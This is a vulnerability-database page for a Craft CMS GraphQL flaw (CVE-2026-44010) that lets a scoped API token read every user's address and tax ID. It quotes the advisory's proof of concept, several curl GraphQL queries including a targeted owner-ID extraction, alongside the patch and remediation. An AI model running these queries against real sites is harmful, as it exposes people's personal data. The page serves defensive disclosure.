Skip to main content

Craft CMS CVE-2026-44010

HIGH
Missing Authorization (CWE-862)
2026-05-06 https://github.com/craftcms/cms GHSA-gj2p-p9m4-c8gw
7.1
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
May 12, 2026 - 21:22 NVD
7.1 (HIGH)
Source Code Evidence Fetched
May 06, 2026 - 18:31 vuln.today
Analysis Generated
May 06, 2026 - 18:31 vuln.today

DescriptionGitHub Advisory

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to *any* user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

  • Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
  • 5 internal executives with corporate addresses (internalTeam)
  • 3 public customers with personal addresses (publicUsers)
  • GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

> Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude. >

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" />

Only 5 public users returned. Scope enforcement works correctly for the User resolver - internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" />

<img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" />

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

> All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF - Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London - Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma - Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo - Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich - Voronova Biotech AG (TaxID: CHE-384.291.057)

---

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" />

> Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 - SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

  • Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.
  • Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.
  • Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.
  • Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

AnalysisAI

Unauthorized PII disclosure in Craft CMS GraphQL API allows cross-scope address enumeration via missing authorization check. A GraphQL API token scoped to any single low-privilege user group can read all addresses system-wide, including PII from restricted user groups (full names, home addresses, corporate addresses, tax IDs, GPS coordinates). The Address element resolver bypasses schema scope filtering that all other element resolvers enforce. Vendor-released patch: versions 5.9.18 and 4.17.12. Publicly available exploit code exists (detailed PoC in GitHub advisory). Affects all Craft CMS Pro deployments (v4.0.0+) using headless GraphQL APIs with user group scoping-a standard deployment pattern for Next.js/Nuxt/Gatsby frontends.

Technical ContextAI

Craft CMS implements a GraphQL API with token-based access control using schema scoping (GqlHelper::extractAllowedEntitiesFromSchema()) to restrict which user groups a token can access. Every element resolver (Entry, User, Asset, Category, Tag) enforces this boundary by filtering queries to only return entities belonging to groups in the token's authorized scope. The Address resolver (src/gql/resolvers/elements/Address.php) contains a critical implementation gap: it only performs a binary canQueryUsers() check that returns true if the token has access to ANY user group, then performs NO subsequent scope filtering. This creates an authorization bypass-once the initial gate check passes, the resolver returns addresses for all users regardless of group membership. The CWE-862 (Missing Authorization) classification correctly identifies this as a fundamental failure to verify whether an operation is allowed, not merely inadequate granularity. The patch adds extractAllowedEntitiesFromSchema() scope filtering with a SQL EXISTS clause joining against the usergroups_users table, enforcing the same boundary that other resolvers implement.

RemediationAI

Upgrade immediately to Craft CMS 4.17.12 (for 4.x branch) or 5.9.18 (for 5.x branch) as documented in vendor advisory at https://github.com/craftcms/cms/security/advisories/GHSA-gj2p-p9m4-c8gw and applied via commit 834b2cf61ad0dcee9b03add44ed402ebf18db128. The patch adds extractAllowedEntitiesFromSchema() scope filtering to the Address resolver, enforcing user group boundaries via SQL EXISTS clause. If immediate patching is not feasible, implement these compensating controls with noted trade-offs: (1) Disable GraphQL addresses query entirely by removing Address element permissions from all GraphQL schemas (Configuration → GraphQL → Schemas → edit each schema → uncheck Addresses under Queries)-this breaks any frontend functionality that legitimately queries addresses but eliminates the exposure surface, or (2) Restrict GraphQL API endpoint access (/actions/graphql/api) to trusted IP ranges via web server ACL (nginx allow/deny directives or Apache Require ip)-reduces attack surface to internal networks but does not prevent insider threats or compromised internal systems, or (3) Rotate all existing GraphQL API tokens and issue new tokens with minimum necessary user group access-limits blast radius but does not fix the underlying authorization bypass. Note that restricting token permissions to fewer user groups does NOT mitigate this vulnerability-an attacker with a token scoped to even one low-privilege group can still extract all addresses. Workarounds are temporary risk reduction only; vendor patch is the complete fix.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-44010 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy